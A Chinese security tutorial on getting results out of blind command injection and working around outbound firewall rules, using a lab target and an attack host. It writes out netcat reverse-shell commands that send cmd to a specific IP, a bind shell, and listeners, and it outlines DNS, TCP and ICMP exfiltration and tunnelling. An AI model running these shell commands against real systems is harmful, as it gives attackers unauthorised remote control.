基础入门-数据不回显数据不出网出入站策略正反向连接反弹Shell外带延迟写入

news/2025/1/17 11:05:27/

知识点:

1、数据不回显原因和解决-带外延迟反弹写文件
2、数据不出网原因和解决-出入站策略正反向连接

一、演示案例-数据不回显-原因解决-反弹&带外&延迟&写文件

原因:代码层面函数调用问题,没有输出测试等

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实战过程:

1、判断是不是数据不回显并且有漏洞
2、有这个漏洞如何把执行的数据获取到

解决:

1、反弹权限

前提:判定目标的操作系统
https://forum.ywhack.com/shell.php
https://cloud.tencent.com/developer/article/1906240

在这里插入图片描述
在这里插入图片描述

nc -e cmd 119.45.254.149 7777 //目标机器把自身的cmd转发到119.45.254.149 7777端口上

在这里插入图片描述

nc -lvp 7777 //119.45.254.149服务器监听本地7777端口即可获取目标机器的shell

在这里插入图片描述

2、数据带外

DNSlog
在这里插入图片描述
在这里插入图片描述
TCP-Portlog
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
ICMP-Sizelog
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、延迟判断

发包看回显时间

Win:ping -n 6 127.0.0.1

在这里插入图片描述
在这里插入图片描述

Linux:ping -c 6 127.0.0.1

4、写访问文件

写静态文件或写入可访问的文件确定
在这里插入图片描述
在这里插入图片描述

5、其他:根据环境

文件下载、ping、curl等
在这里插入图片描述
https://forum.ywhack.com/bountytips.php?download
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-数据不出网-原因解决-正反连接&出入站策略&隧道

环境:Windows外网靶机 Linux外网攻击机

在这里插入图片描述
流程:
1、判断出入限制的端口和协议
在这里插入图片描述
在这里插入图片描述
2、分析原因用正向还是反向还是隧道

原因:主机或应用防火墙出站限制

在这里插入图片描述

解决:利用NC反弹实验

实验:相对于靶机角度

1、正向连接

开启出站策略,采用正向连接
正向连接:本地监听等待对方连接
在这里插入图片描述
在这里插入图片描述
一、靶机绑定CMD到本地21端口(只要端口没被占用就行)

nc -e cmd -lvvp 21

在这里插入图片描述
二、攻击机主动连接靶机的21端口

nc 118.195.140.161 21

在这里插入图片描述

2、反向连接

开启入站策略,采用反向连接
反向连接:主动给出去,对方监听

一、靶机绑定CMD到攻击机的1111端口

nc -e cmd 119.45.254.149 1111

二、攻击机等待1111连接

nc -lvvp 1111

在这里插入图片描述

3、隧道技术

开启出站策略,采用其他协议隧道
ICMP,DNS等隧道技术来进行通讯
在这里插入图片描述


http://www.ppmy.cn/news/1563869.html

相关文章

科技赋能:多功能气膜综合馆引领场馆新革命—轻空间

在现代体育场馆建设中,如何为运动员提供更佳的比赛环境,为观众营造更舒适的观赛体验,已成为场馆设计的关键课题。而多功能气膜综合馆以其独特的声学优化技术和卓越的场馆功能,成功突破了传统气膜场馆的局限,为运动体验…

vue 纯前端导出 Excel

方法一: 1、安装"file-saver" npm i -S file-saver xlsx 2、引入 在需要导出功能的 .vue 文件中引入 import FileSaver from "file-saver"; import XLSX from "xlsx"; 3、简单示例(复制即可食用)&#x…

【C语言4】数组:一维数组、二维数组、变长数组及数组的练习题

文章目录 前言一、数组的概念二、一维数组2.1. 数组的创建和初始化2.2. 数组的类型2.3. 一维数组的下标2.4. 数组元素的打印和输入2.5. 一维数组在内存中的存储2.6. sizeof 计算数组元素个数 三、二维数组3.1. 二维数组的概念3.1. 二维数组的创建与初始化3.2. 二维数组的下标3.…

Graylog采集MySQL慢日志实战

文章目录 前言一、MySQL慢日志0. 慢查询相关语句1. 检查MySQL是否开启慢日志及慢查询保存位置2. 检查慢查询阈值3. 未使用索引是否开启记录慢查询日志4. 查看mysql.slow_log表结构及字段含义5. 慢查询记录两种情况示例 二、graylog采集慢查询日志1. 采集思路2. 创建Sidecar配置…

【Web系列三十】MYSQL库表比对升级脚本

写在前面 随着软件的迭代开发,数据库表有变动是常有的事,如果没有在开发时记录变更情况的话。对于线上生产环境下的MYSQL库表升级就会比较麻烦。 因此本文主要提供了一个脚本,方便比对新旧数据库的sql文件,从而自动生成用户升级的…

Cyberchef开发operation操作之-node开发环境搭建

本文介绍一下Cyberchef开发operation操作环境的搭建工作,为后续的Cyberchef开发operation操作提供开发环境基础,这里。该篇作为我的专栏《Cyberchef 从入门到精通教程》中的一篇,详见这里。 Linux环境 由于cyberchef只支持Linux和MAC的开发…

Python 替换excel 单元格内容

要在Python中替换Excel单元格的内容,你可以使用openpyxl库。openpyxl是一个用于读写Excel 2010 xlsx/xlsm/xltx/xltm文件的库。 安装openpyxl 首先,你需要安装openpyxl库。如果还没有安装,可以使用pip进行安装: pip install ope…

RV1126+FFMPEG推流项目(3)VI模块视频编码流程

视频编码的流程: 本章节讲的是RV1126视频编码的流程,在整个项目之中视频编码功能是核心之一。视频编码流程主要分三步:VI的初始化、VENC的初始化(硬件编码)、绑定VI和VENC节点、开启VENC线程进行视频编码的采集,注意一下这里的…